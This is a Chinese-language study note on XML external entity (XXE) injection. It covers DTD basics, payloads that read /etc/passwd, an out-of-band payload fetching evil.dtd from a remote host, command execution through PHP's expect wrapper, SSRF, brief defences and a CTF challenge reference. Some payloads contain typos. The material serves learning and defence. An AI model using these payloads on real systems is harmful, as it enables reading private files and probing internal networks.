引言
記錄一下XXE的學習要點。
XXE
XXE (XML External Entity injection)XML 外部實體注入漏洞,如果XML 文件在引用外部實體時候,可以溝通構造惡意內容,可以導致讀取任意文件,命令執行和對內網的攻擊,這就是XXE漏洞。
所以在學習XXE漏洞之前需要先了解一下什么是XML文件。
XML
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD
其中文檔類型定義(DTD)是XXE漏洞的重點利用對象,DTD用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用)。
DTD中一些重要的關鍵字包括:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
內部聲明:
<!DOCTYPE 根元素 [元素聲明]>
外部聲明:
<!DOCTYPE 根元素 SYSTEM "文件名">
外部引用可支持http、file等協議,不同的語言支持的協議不同,但存在一些通用的協議。例如:
實際利用:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><username>&xxe;</username><password>root</password></user>
XXE漏洞
XXE漏洞就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
XXE的危害1:任意文件讀取
利用file、http協議,在DTD外部引用中注入,從而獲取文件內容。任意文件讀取有分為有回顯和無回顯兩種。
有回顯:可以直接在DTD中讀取文件內容,攻擊者通過列目錄、讀文件,獲取帳號密碼后進一步攻擊。
無回顯:
如果沒有回顯的話可以把數據發送到遠程服務器。
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
遠程服務器的evil.dtd文件內容:
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE危害2:命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
XXE危害3:內網探測/SSRF
由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
XXE危害4:攻擊內網網站
XXE防御方法
- 禁止使用DTD的外部聲明;
- 對用戶提交過來的XML數據進行過濾。
實戰:[NCTF2019]Fake XML cookbook
由題目名稱和源碼猜測是XXE,可以進行嘗試。可以根據常規的文件路徑多嘗試一下,找flag,這個應該是最簡單的XXE利用了。
參考
https://security.tencent.com/index.php/blog/msg/69
https://blog.csdn.net/qq_36197704/article/details/82255043
https://www.jianshu.com/p/7325b2ef8fc9